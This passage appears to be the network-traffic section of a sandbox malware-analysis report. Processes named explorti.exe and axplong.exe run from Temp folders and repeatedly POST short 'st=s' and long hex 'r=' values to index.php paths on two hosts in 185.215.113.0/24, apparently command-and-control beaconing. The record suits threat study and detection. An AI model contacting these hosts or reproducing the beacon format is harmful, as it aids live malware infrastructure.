Jul 27, 2024 12:02:47.818414927 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 10:02:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
75	192.168.2.5	49820	185.215.113.19	80	7652	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 12:02:47.939929008 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 12:02:48.681031942 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 10:02:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 12:02:48.681850910 CEST	308	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 41 32 36 37 35 42 35 35 42 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A76BA2675B55B82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jul 27, 2024 12:02:48.928253889 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 10:02:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
76	192.168.2.5	49821	185.215.113.16	80	7660	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 12:02:47.940984964 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 12:02:48.698995113 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 10:02:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 12:02:48.700229883 CEST	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Jul 27, 2024 12:02:48.949270010 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 10:02:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
77	192.168.2.5	49822	185.215.113.19	80	7652	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 12:02:49.051428080 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 12:02:49.818881035 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 10:02:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 12:02:50.040497065 CEST	308	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 41 32 36 37 35 42 35 35 42 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A76BA2675B55B82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jul 27, 2024 12:02:50.294483900 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 10:02:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
78	192.168.2.5	49823	185.215.113.16	80	7660	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 12:02:49.065504074 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 12:02:49.815397978 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 10:02:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 12:02:50.039486885 CEST	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Jul 27, 2024 12:02:50.293143988 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 10:02:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
79	192.168.2.5	49826	185.215.113.19	80	7652	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 12:02:50.408912897 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 12:02:51.383671999 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 10:02:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 12:02:51.384721994 CEST	308	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 41 32 36 37 35 42 35 35 42 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A76BA2675B55B82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jul 27, 2024 12:02:51.388456106 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 10:02:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 12:02:51.641246080 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 10:02:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
80	192.168.2.5	49827	185.215.113.16	80	7660	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 12:02:50.409029007 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 12:02:51.383596897 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 10:02:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 12:02:51.384320974 CEST	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Jul 27, 2024 12:02:51.386735916 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 10:02:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 12:02:51.635859013 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 10:02:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
81	192.168.2.5	49830	185.215.113.16	80	7660	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 12:02:51.799947977 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 12:02:53.249737024 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 10:02:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 12:02:53.250773907 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 10:02:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 12:02:53.251162052 CEST	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Jul 27, 2024 12:02:53.506818056 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 10:02:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
82	192.168.2.5	49831	185.215.113.19	80	7652	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 12:02:51.799954891 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 12:02:53.249753952 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 10:02:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 12:02:53.250817060 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 10:02:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 12:02:53.252038956 CEST	308	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 41 32 36 37 35 42 35 35 42 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A76BA2675B55B82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jul 27, 2024 12:02:53.508790016 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 10:02:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
83	192.168.2.5	49832	185.215.113.19	80	7652	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 12:02:53.626925945 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 12:02:54.398197889 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 10:02:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 12:02:54.400811911 CEST	308	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 41 32 36 37 35 42 35 35 42 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A76BA2675B55B82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jul 27, 2024 12:02:55.024518967 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 10:02:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0
Jul 27, 2024 12:02:55.027282953 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 10:02:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
84	192.168.2.5	49833	185.215.113.16	80	7660	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 12:02:53.627027988 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 12:02:54.386981964 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 10:02:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 12:02:54.401144028 CEST	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Jul 27, 2024 12:02:55.024504900 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 10:02:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0
Jul 27, 2024 12:02:55.027292013 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 10:02:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
85	192.168.2.5	49837	34.107.221.82	80	2940	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 12:02:54.195389986 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Jul 27, 2024 12:02:55.024529934 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Fri, 26 Jul 2024 10:16:12 GMT Age: 85602 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Jul 27, 2024 12:02:55.027318954 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Fri, 26 Jul 2024 10:16:12 GMT Age: 85602 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
86	192.168.2.5	49840	185.215.113.19	80	7652	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 12:02:55.147928953 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 12:02:55.889110088 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 10:02:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
